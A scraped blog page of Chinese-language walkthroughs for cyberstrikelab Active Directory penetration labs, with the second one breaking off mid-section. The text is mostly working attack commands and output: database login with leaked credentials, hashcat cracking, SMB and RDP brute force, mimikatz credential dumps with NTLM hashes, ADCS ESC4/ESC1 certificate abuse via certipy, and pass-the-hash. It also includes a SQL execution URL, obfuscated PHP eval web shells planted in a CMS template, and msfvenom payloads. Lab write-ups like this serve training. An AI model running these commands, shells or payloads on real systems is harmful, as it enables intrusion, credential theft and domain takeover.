ObAoEYhJ+jeWP5H8r18A88GVNf+Z9i+q4OA73Dnbw6mdDGjRP</property> <property name="jwt.public.key">MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAsk9zn1dWb14rU4yHIMoGYMw14qZopFaW9jxF2t8o3LefYapZ7HJ5YJTCcDD6M9NO7n5BdG54CP68YCU/xL0heB0V7/qccDgBeym4MJTP8X+v6eWVYTFYNQ+I+VtsZfTwutM3e+J+0rvKdiyY5kHlmRclRul3d3XFNchI38oxE2Q1qh7MInHKbUcd6oqDj1zmZGiNDfGjF/yqkK6BasAAkg77sRh0mDEhEs+WgkPt+b1h5leI16XPpaev0IMEVyax3gAIU6pCoqDr9YtmzxbK0UZCyiV8zSbf/l/r9iL9I9B/HAQRJBwl0SpG7YVwNEG1uGctq+ByRwfMJHuMQ5NPELbih7kET7gEDMwaoBpcIBhCphJGS1hZJzY0x00xaUid9pmu6eCbP2uzTOyn3mXFHVrS7krknwO7oRC1PU8EWbeDBaA+1Sx8aF7gcxxaQWc+R6wk1wR97IWwZ3z5/AQNnAEGKesTXl29oCYAvJxCJSNc58f0ps42G/CEI2zFcLtfAgMBAAE=</property> <property name="lucene.index.dir">${localHome}/index</property> <property name="synchrony.encryption.disabled">true</property> <property name="synchrony.proxy.enabled">true</property> <property name="webwork.multipart.saveDir">${localHome}/temp</property> </properties> </confluence-configuration> 用户 confluenceuser密码 confdsdgfd远程连接mysql -uconfluenceuser -pconfdsdgfd -h172.3.3.13 --skip-ssl 找到两串密文MySQL [confluence]> select user_name,credential from cwd_user; +-----------+---------------------------------------------------------------------------+ | user_name | credential | +-----------+---------------------------------------------------------------------------+ | admin | {PKCS5S2}JYMqFvi/OcwDBkiBJVf9QV/jdE91lgptmigRB6oGmK4JFXnlZY4VQnLCuzcYK7KX | | cslab | {PKCS5S2}xUjKeN7GD2/e9WRWD0hpoaPaCuei2O5otn/mBcHv4ZVKT9ttjLQJ8oKvwm20bzDL | +-----------+---------------------------------------------------------------------------+ 使用hashid识别hash特征,以及对应的hashcat-m值┌──(root㉿kali)-[/data/demo] └─# hashid "{PKCS5S2}xUjKeN7GD2/e9WRWD0hpoaPaCuei2O5otn/mBcHv4ZVKT9ttjLQJ8oKvwm20bzDL" Analyzing '{PKCS5S2}xUjKeN7GD2/e9WRWD0hpoaPaCuei2O5otn/mBcHv4ZVKT9ttjLQJ8oKvwm20bzDL' [+] PBKDF2(Atlassian) 选出hashcat的-m值为12001┌──(root㉿kali)-[/data/demo] └─# hashcat --help | grep "Atlassian" 12001 | Atlassian (PBKDF2-HMAC-SHA1) | Framework 爆破admin和cslab的密码,--potfile-disable清空缓存hashcat -m 12001 "{PKCS5S2}JYMqFvi/OcwDBkiBJVf9QV/jdE91lgptmigRB6oGmK4JFXnlZY4VQnLCuzcYK7KX" /usr/share/wordlists/rockyou.txt --potfile-disable hashcat -m 12001 -a 0 '{PKCS5S2}xUjKeN7GD2/e9WRWD0hpoaPaCuei2O5otn/mBcHv4ZVKT9ttjLQJ8oKvwm20bzDL' /usr/share/wordlists/rockyou.txt --potfile-disable cslab:123456使用msf的smb爆破use scanner/smb/smb_login set RHOSTS 10.10.10.5 set SMBUser cslab set STOP_ON_SUCCESS true # 找到有效密码立即停止该主机 set PASS_FILE /usr/share/wordlists/fasttrack.txt run 爆破成功,密码为qwe!@#123,尝试administrator爆破密码set SMBUser Administrator run 密码完全相同,使用evil-winrm连接子域主机proxychains evil-winrm -i 10.10.10.66 -u administrator -p "qwe\!@#123" 这里我发现,使用这个获取一个shell是直接就是系统权限proxychains impacket-smbexec ./administrator:'qwe!@#123'@10.10.10.66 连接流程:通过 SMB(445 端口)用administrator账户认证,获取目标主机的管理员级访问权限;在目标C:\Windows\Temp目录创建临时可执行文件(随机命名,如abc123.exe);利用 SMB 在目标主机创建一个临时 Windows 服务(Service),服务的启动命令指向这个临时文件;Windows 服务的「默认运行账户」是NT AUTHORITY\SYSTEM(本地系统账户,Windows 最高权限);启动临时服务,服务进程执行whoami,返回的是「服务进程所属用户」—— 即SYSTEM;执行完成后,smbexec 会自动清理临时服务和文件(半自动化)。而evil-winrm是创建一个 PowerShell 的进程 所有者就是登录的 administrator,所创建的shell类型是交互式的shell这里会直接提升至系统权限,但是它创建的shell类型是半交互式shell,比如不能执行cd切换目录,你只能使用dir c:/来查看目录使用完整的目录来执行文件等等第三台利用 evil-winrm 交互式shell,上传mimikatz.exe再利用impacket-smbexec系统权限C:\Users\Administrator\Documents\mimikatz.exe "sekurlsa::logonpasswords full" "lsadump::sam" exit .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) # sekurlsa::logonpasswords full Authentication Id : 0 ; 138993 (00000000:00021ef1) Session : Interactive from 1 User Name : Administrator Domain : CSLAB Logon Server : CSLAB Logon Time : 2025/12/13 9:40:05 SID : S-1-5-21-1569229255-3439354803-3019667840-500 msv : [00000003] Primary * Username : Administrator * Domain : CSLAB * NTLM : 2de5cd0f15d1c070851d1044e1d95c90 * SHA1 : 134fb9c7133a65718b2ab44498d788b8afc1b0f4 tspkg : wdigest : * Username : Administrator * Domain : CSLAB * Password : (null) kerberos : * Username : Administrator * Domain : CSLAB * Password : (null) ssp : credman : Authentication Id : 0 ; 52514 (00000000:0000cd22) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2025/12/13 9:38:38 SID : S-1-5-90-0-1 msv : [00000003] Primary * Username : CSLAB$ * Domain : CYBERSTRIKE * NTLM : 87830111f8415055bde922d4d7fb73d4 * SHA1 : e0aa452753a4c01df4b73d0742b65c9cb6a20d09 tspkg : wdigest : * Username : CSLAB$ * Domain : CYBERSTRIKE * Password : (null) kerberos : * Username : CSLAB$ * Domain : cyberstrike.lab * Password : 47 77 67 7e 19 54 a1 3d 8d 30 07 7a 24 b5 59 bc 8b 74 ad 6e 16 39 de 05 85 12 7f 01 8a 85 b5 ab 36 66 89 4b 05 2b 62 80 93 d3 77 b3 78 26 59 1c bf 53 54 7d a1 9a 86 7e 6e 58 81 09 aa 89 09 59 41 dc a2 b1 6d 45 18 af 45 78 21 56 cb 66 5e 19 fd 03 ed 4e e7 06 1f 66 7f 8c cc b2 2f 85 a8 1b 26 0f 9a 98 92 58 d9 11 ee 7d ca 20 8f fd 2f 29 58 e1 96 37 77 11 2e b5 df 75 5c 1e f6 fa 82 b9 3b 41 8f 2e c5 72 5b 72 6b 69 9e 43 54 02 f2 61 9f 07 f2 0c b6 96 d4 45 38 31 cd 73 01 19 31 98 53 a3 64 1d 60 db 96 2a 6a 2d 10 21 75 22 b5 a0 34 f4 71 aa 80 ef 0e 1d 02 d8 cb a8 4f 18 29 a5 9c 86 73 4d 2f 22 9e 63 c0 54 5b 96 45 2c 20 a6 68 20 05 5b ad bd 8d 4e e9 bf 0c c2 40 d1 ef 09 18 5c fa 92 3e 31 e4 60 0a 53 d7 4a 82 96 5e 18 ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : CSLAB$ Domain : CYBERSTRIKE Logon Server : (null) Logon Time : 2025/12/13 9:38:35 SID : S-1-5-18 msv : tspkg : wdigest : * Username : CSLAB$ * Domain : CYBERSTRIKE * Password : (null) kerberos : * Username : cslab$ * Domain : CYBERSTRIKE.LAB * Password : (null) ssp : credman : mimikatz(commandline) # lsadump::sam Domain : CSLAB SysKey : 71d26e8768bea4ddd981a1beaa63b73f Local SID : S-1-5-21-1569229255-3439354803-3019667840 SAMKey : a941590387e9892f8b9eb6f6762fe1a2 RID : 000001f4 (500) User : Administrator Hash NTLM: 2de5cd0f15d1c070851d1044e1d95c90 lm - 0: 2559948ed6bd44265e11af44d8cde07b ntlm- 0: 2de5cd0f15d1c070851d1044e1d95c90 ntlm- 1: a167976f7bd8d93ee232fa7a87a4079e RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount 可以看到 Administrator 属于子域CSLAB,而cslab用户属于CYBERSTRIKE.LAB主域ADCS-ESC4步骤1:识别ESC4漏洞以系统权限获取一下CA名字(需要提权到system),执行 certutil名称为 cyberstrikelab-DC-CA获取到CA名称后,我们需要确定攻击入口,并且寻找可利用的漏洞,比如ESC1漏洞使用certipy-ad工具探测域内是否存在易受攻击的证书模板,寻找证书服务相关的漏洞。┌──(root㉿kali)-[/data/demo] └─# proxychains -q certipy-ad find -u 'cslab@cyberstrike.lab' -p 'qwe!@#123' -dc-ip 10.10.10.5 -vulnerable -stdout Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:10.10.10.5@53 answered The DNS operation timed out.; Server Do53:10.10.10.5@53 answered The DNS operation timed out.; Server Do53:10.10.10.5@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'cyberstrike-DC-CA' via RRP [-] Failed to connect to remote registry: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused [-] Use -debug to print a stacktrace [!] Failed to get CA configuration for 'cyberstrike-DC-CA' via RRP: 'NoneType' object has no attribute 'request' [!] Use -debug to print a stacktrace [!] Could not retrieve configuration for 'cyberstrike-DC-CA' [*] Checking web enrollment for CA 'cyberstrike-DC-CA' @ 'DC.cyberstrike.lab' [!] Error checking web enrollment: [Errno 111] Connection refused [!] Use -debug to print a stacktrace [!] Error checking web enrollment: [Errno 111] Connection refused [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : cyberstrike-DC-CA DNS Name : DC.cyberstrike.lab Certificate Subject : CN=cyberstrike-DC-CA, DC=cyberstrike, DC=lab Certificate Serial Number : 57F79A928D461080408002FFA18BD889 Certificate Validity Start : 2025-07-11 05:37:21+00:00 Certificate Validity End : 2030-07-11 05:47:21+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Unknown Request Disposition : Unknown Enforce Encryption for Requests : Unknown Active Policy : Unknown Disabled Extensions : Unknown Certificate Templates 0 Template Name : DC Display Name : DC Certificate Authorities : cyberstrike-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns Enrollment Flag : PendAllRequests AutoEnrollment Extended Key Usage : Client Authentication Requires Manager Approval : True Requires Key Archival : False RA Application Policies : Client Authentication Authorized Signatures Required : 1 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-07-11T05:50:48+00:00 Template Last Modified : 2025-07-11T05:50:48+00:00 Permissions Enrollment Permissions Enrollment Rights : CYBERSTRIKE.LAB\Domain Admins CYBERSTRIKE.LAB\Domain Computers CYBERSTRIKE.LAB\Enterprise Admins Object Control Permissions Owner : CYBERSTRIKE.LAB\Administrator Full Control Principals : CYBERSTRIKE.LAB\Domain Admins CYBERSTRIKE.LAB\Enterprise Admins Write Owner Principals : CYBERSTRIKE.LAB\Domain Admins CYBERSTRIKE.LAB\Enterprise Admins Write Dacl Principals : CYBERSTRIKE.LAB\Domain Admins CYBERSTRIKE.LAB\Enterprise Admins Write Property Enroll : CYBERSTRIKE.LAB\Domain Admins CYBERSTRIKE.LAB\Domain Computers CYBERSTRIKE.LAB\Enterprise Admins [+] User Enrollable Principals : CYBERSTRIKE.LAB\Domain Computers [+] User ACL Principals : CYBERSTRIKE.LAB\Domain Users [!] Vulnerabilities ESC4 : User has dangerous permissions. 从Vulnerabilities结果中看到存在ESC4漏洞开始攻击步骤 2:修改 DC 模板配置cslab用户(属于Domain Computers组)可以修改DC模板的配置。从哪里看出?Object Control Permissions: ... Write Property Enroll: # 权限允许修改模板的注册相关属性 CYBERSTRIKE.LAB\Domain Admins CYBERSTRIKE.LAB\Domain Computers # ✅ 关键!cslab有写权限 CYBERSTRIKE.LAB\Enterprise Admins 将模板的配置重置为默认的易受攻击状态proxychains certipy-ad template -u 'cslab@cyberstrike.lab' -p 'qwe!@#123' -dc-ip 10.10.10.5 -template 'DC' -write-default-configuration 原始DC模板Enrollee Supplies Subject配置 是false:而ESC1漏洞利用前提是Enrollee Supplies Subject为True,也就是修改为易受攻击状态Enrollee Supplies Subject: False # 这些设置阻止了ESC1漏洞的利用,而cslab可以修改DC模板,把它修改为True即可利用此漏洞 Requires Manager Approval: True Authorized Signatures Required: 1 ADCS-ESC1攻击步骤3:验证修改┌──(root㉿kali)-[/data/demo] └─# proxychains -q certipy-ad find -u 'cslab@cyberstrike.lab' -p 'qwe!@#123' -dc-ip 10.10.10.5 -vulnerable -stdout Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:10.10.10.5@53 answered The DNS operation timed out.; Server Do53:10.10.10.5@53 answered The DNS operation timed out.; Server Do53:10.10.10.5@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'cyberstrike-DC-CA' via RRP [-] Failed to connect to remote registry: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused [-] Use -debug to print a stacktrace [!] Failed to get CA configuration for 'cyberstrike-DC-CA' via RRP: 'NoneType' object has no attribute 'request' [!] Use -debug to print a stacktrace [!] Could not retrieve configuration for 'cyberstrike-DC-CA' [*] Checking web enrollment for CA 'cyberstrike-DC-CA' @ 'DC.cyberstrike.lab' [!] Error checking web enrollment: [Errno 111] Connection refused [!] Use -debug to print a stacktrace [!] Error checking web enrollment: [Errno 111] Connection refused [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : cyberstrike-DC-CA DNS Name : DC.cyberstrike.lab Certificate Subject : CN=cyberstrike-DC-CA, DC=cyberstrike, DC=lab Certificate Serial Number : 57F79A928D461080408002FFA18BD889 Certificate Validity Start : 2025-07-11 05:37:21+00:00 Certificate Validity End : 2030-07-11 05:47:21+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Unknown Request Disposition : Unknown Enforce Encryption for Requests : Unknown Active Policy : Unknown Disabled Extensions : Unknown Certificate Templates 0 Template Name : DC Display Name : DC Certificate Authorities : cyberstrike-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Private Key Flag : ExportableKey Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-07-11T05:50:48+00:00 Template Last Modified : 2025-12-13T13:52:00+00:00 Permissions Object Control Permissions Owner : CYBERSTRIKE.LAB\Administrator Full Control Principals : CYBERSTRIKE.LAB\Authenticated Users Write Owner Principals : CYBERSTRIKE.LAB\Authenticated Users Write Dacl Principals : CYBERSTRIKE.LAB\Authenticated Users [+] User Enrollable Principals : CYBERSTRIKE.LAB\Authenticated Users [+] User ACL Principals : CYBERSTRIKE.LAB\Authenticated Users [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. ESC4 : User has dangerous permissions. 再次探测域内是否存在易受攻击的证书模板,寻找证书服务相关的漏洞,包含了esc1同样也可以看到Enrollee Supplies Subject配置为了true步骤4:申请冒用域管理员的恶意证书用修改后的 DC 模板,申请包含「主域管理员 UPN(Administrator@cyberstrike.lab)」的证书(核心提权操作):proxychains certipy-ad req -u 'cslab@cyberstrike.lab' -p 'qwe!@#123' -target 10.10.10.5 -dc-ip 10.10.10.5 -ca 'cyberstrike-DC-CA' -template 'DC' -upn 'administrator@cyberstrike.lab' 步骤5:使用证书得到administrator.pfx,然后利用administrator.pfx证书获取 TGT 和 NTLM Hashproxychains -q certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.5 PTHproxychains impacket-psexec -hashes :931ec8a3de75c4e55f136d7ff3a9bb6e cyberstrike.lab/administrator@10.10.10.5 总结一步一个脚印,才能走的更远,点个赞再走,谢谢你
2025年12月14日
3,721 阅读
0 评论
0 点赞
2025-12-13
【域渗透】cyberstrikelab-lab9
cyberstrikelab-lab9第一台web 172.5.33.6sql的payloadhttp://172.5.33.6/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5 a66abb5684c45962d887564f08346e8d 解密 admin123456从robots.txt中发现admin地址,登录管理员账号在这里发现了html模板中包含了php代码在模板管理中修改index.html<?php @eval($_POST['a']);?> 一句话还是连不上的,尝试另一种马,好像也没有其他方法能打进去了,网上找了十多种写法的马,就这种有效<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed = reverseTransform($transformed, 3); echo eval($reversed); 蚁剑连接生马msfvenom -p Windows/x64/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 上线msfconsole -q -x "use exploit/multi/handler; set PAYLOAD Windows/x64/meterpreter/bind_tcp; set RHOST 172.5.33.6; set LPORT 4444; exploit -j -z" 提权,上传fscanmeterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 查ip,扫内网C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::3f:d815:5529:b836%11 IPv4 Address. . . . . . . . . . . : 172.5.33.6 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.5.33.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::c133:dd94:56a9:bdcc%2 IPv4 Address. . . . . . . . . . . : 10.6.6.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.6.6.1 Tunnel adapter isatap.{730545FA-7DC0-4716-8AF2-678FFC6D1F1C}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{E6E2FD25-6949-4C86-A749-7F0F14616295}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.10/24 fscan.exe -h 10.6.6.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.6.6.10 is alive (icmp) Target 10.6.6.55 is alive (icmp) Target 10.6.6.88 is alive [*] Icmp alive hosts len is: 3 10.6.6.55:88 open 10.6.6.10:3306 open 10.6.6.88:445 open 10.6.6.55:445 open 10.6.6.10:445 open 10.6.6.88:139 open 10.6.6.55:139 open 10.6.6.10:139 open 10.6.6.88:135 open 10.6.6.55:135 open 10.6.6.10:135 open 10.6.6.55:80 open 10.6.6.10:80 open [*] alive ports len is: 13 start vulscan [+] NetInfo: [*]10.6.6.10 [->]WIN-784BAKDI0AC [->]172.5.33.6 [->]10.6.6.10 [+] NetInfo: [*]10.6.6.55 [->]DC [->]10.6.6.55 [+] NetInfo: [*]10.6.6.88 [->]cyberweb [->]10.6.6.88 [*] WebTitle:http://10.6.6.10 code:200 len:0 title:None [*] 10.6.6.55 [+]DC __MSBROWSE__\DC Windows Server 2016 Standard 14393 [*] 10.6.6.88 CYBERSTRIKELAB\CYBERWEB Windows Server 2016 Standard 14393 [*] 10.6.6.88 (Windows Server 2016 Standard 14393) [*] 10.6.6.55 (Windows Server 2016 Standard 14393) [*] WebTitle:http://10.6.6.55 code:200 len:703 title:IIS Windows Server [+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect 已完成 13/13 [*] 扫描结束,耗时: 1m8.3819491s 其中10.6.6.55被识别为域控制器10.6.6.88是域成员,主机名cyberweb,属于域CYBERSTRIKELAB10.6.6.55: 报告了一个漏洞 poc-yaml-active-directory-certsrv-detect。这强烈暗示该服务器上运行着 Active Directory 证书服务 (AD CS),是后续攻击的关键入口。设置路由,配置代理meterpreter > run post/multi/manage/autoroute [*] Running module against WIN-784BAKDI0AC (172.5.33.6) [*] Searching for subnets to autoroute. [+] Route added to subnet 10.6.6.0/255.255.255.0 from host's routing table. [+] Route added to subnet 172.5.33.0/255.255.255.0 from host's routing table. meterpreter > bg [*] Backgrounding session 2... msf exploit(multi/handler) > use auxiliary/server/socks_proxy msf auxiliary(server/socks_proxy) > set VERSION 5 VERSION => 5 msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(server/socks_proxy) > run -j [*] Auxiliary module running as background job 1. [*] Starting the SOCKS proxy server 配置系统代理配置文件proxychains4.conf┌──(root㉿kali)-[/data/Windows_atk/domain_atk] └─# tail -n \6 /etc/proxychains4.conf [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080 第二台fscan定向扫描,端口,发现3389能进行爆破,administrator密码为qwe123!@#C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.88 -p 1-10000 fscan.exe -h 10.6.6.88 -p 1-10000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.6.6.88 is alive [*] Icmp alive hosts len is: 1 10.6.6.88:445 open 10.6.6.88:139 open 10.6.6.88:135 open 10.6.6.88:3389 open 10.6.6.88:5985 open [*] alive ports len is: 5 start vulscan [+] NetInfo: [*]10.6.6.88 [->]cyberweb [->]10.6.6.88 [*] 10.6.6.88 (Windows Server 2016 Standard 14393) [*] WebTitle:http://10.6.6.88:5985 code:404 len:315 title:Not Found [*] 10.6.6.88 CYBERSTRIKELAB\CYBERWEB Windows Server 2016 Standard 14393 已完成 3/5 [-] (18/210) rdp 10.6.6.88:3389 administrator administrator1 remote error: tls: access denied 已完成 4/5 [-] (36/210) rdp 10.6.6.88:3389 administrator 123456789 remote error: tls: access denied 已完成 4/5 [-] (54/210) rdp 10.6.6.88:3389 administrator Aa12345 remote error: tls: access denied [+] RDP:10.6.6.88:3389:administrator qwe123!@# 已完成 5/5 [*] 扫描结束,耗时: 4m8.7461024s 在桌面找到第二个flag第三台看样子需要利用域控相关的漏洞了,永恒之蓝失败use exploit/multi/handler set rhost 10.6.6.88 run 共享data目录(便于传输文件),然后将正向马传上去,并执行proxychains rdesktop 10.6.6.88 -r disk:shell=/data 提权meterpreter > getuid Server username: CYBERWEB\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 抓取域内hashC:\Users\Administrator\Desktop>mimikatz.exe mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords User Name : CYBERWEB$ Domain : CYBERSTRIKELAB NTLM : 5e0d5d7bacf2087dfd44ea47812b5165 User Name : CYBERWEB$ Domain : CYBERSTRIKELAB NTLM : 331dcbb88d1a4847c97eab7c1c168ac8 User Name : Administrator Domain : CYBERWEB NTLM : c377ba8a4dd52401bc404dbe49771bbc 在这个3.bat文件中发现了一个账号密码,cslab / cs1ab@wwe第三台:ADCSADCS是横向移动到域控制器的常见路径3.1 侦察ADCS服务之前fscan扫出来的[+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect 表明可能存在AD证书服务再次上线getsystem,获取一个系统权限的cmd,获取一下CA名字(需要提权到system),执行 certutil名称为 cyberstrikelab-DC-CA获取到CA名称后,我们需要确定攻击入口,并且寻找可利用的漏洞,比如ESC1漏洞┌──(root㉿kali)-[/data/demo] └─# proxychains certipy-ad find -u 'cslab@10.6.6.55' -password 'cs1ab@wwe' -dc-ip 10.6.6.55 -vulnerable -stdout [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:636 ... OK [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:10.6.6.55@53 answered The DNS operation timed out.; Server Do53:10.6.6.55@53 answered The DNS operation timed out.; Server Do53:10.6.6.55@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'cyberstrikelab-DC-CA' via RRP [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:445 <--socket error or timeout! [-] Failed to connect to remote registry: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused [-] Use -debug to print a stacktrace [!] Failed to get CA configuration for 'cyberstrikelab-DC-CA' via RRP: 'NoneType' object has no attribute 'request' [!] Use -debug to print a stacktrace [!] Could not retrieve configuration for 'cyberstrikelab-DC-CA' [*] Checking web enrollment for CA 'cyberstrikelab-DC-CA' @ 'DC.cyberstrikelab.com' [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:443 ... OK [*] Enumeration output: Certificate Authorities 0 CA Name : cyberstrikelab-DC-CA DNS Name : DC.cyberstrikelab.com Certificate Subject : CN=cyberstrikelab-DC-CA, DC=cyberstrikelab, DC=com Certificate Serial Number : 652A47597C7F03824B7815EBE474E40B Certificate Validity Start : 2025-04-22 07:45:38+00:00 Certificate Validity End : 2030-04-22 07:55:38+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Unknown Request Disposition : Unknown Enforce Encryption for Requests : Unknown Active Policy : Unknown Disabled Extensions : Unknown Certificate Templates 0 Template Name : DC Display Name : DC Certificate Authorities : cyberstrikelab-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-04-22T07:58:11+00:00 Template Last Modified : 2025-04-22T07:58:11+00:00 Permissions Enrollment Permissions Enrollment Rights : CYBERSTRIKELAB.COM\Domain Users CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Enterprise Admins CYBERSTRIKELAB.COM\Authenticated Users Object Control Permissions Owner : CYBERSTRIKELAB.COM\Administrator Full Control Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Owner Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Dacl Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Property Enroll : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Enterprise Admins [+] User Enrollable Principals : CYBERSTRIKELAB.COM\Authenticated Users CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Domain Users [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. 参数来源/原因作用proxychains之前建立的代理配置让命令流量通过跳板机(10.6.6.10)进入内网certipy-ad工具选择专门用于AD证书服务攻击的工具find子命令查找证书模板和证书颁发机构(CA)-u 'cslab@10.6.6.55'从mimikatz获得使用域用户cslab,@后可以是IP或域名-password 'cs1ab@wwe'从mimikatz/3.bat获得cslab用户的密码-dc-ip 10.6.6.55fscan扫描结果指定域控制器的IP地址-vulnerable攻击目标只显示存在已知漏洞的证书模板-stdout输出选项将结果输出到终端从结果中看出,存在ESC1漏洞Template Name: DC Enabled: True Client Authentication: True Enrollee Supplies Subject: True # ESC1漏洞关键点 Enrollment Rights: CYBERSTRIKELAB.COM\Domain Users # cslab可申请 Vulnerabilities: ESC1 3.2 利用ESC1漏洞3.2.1 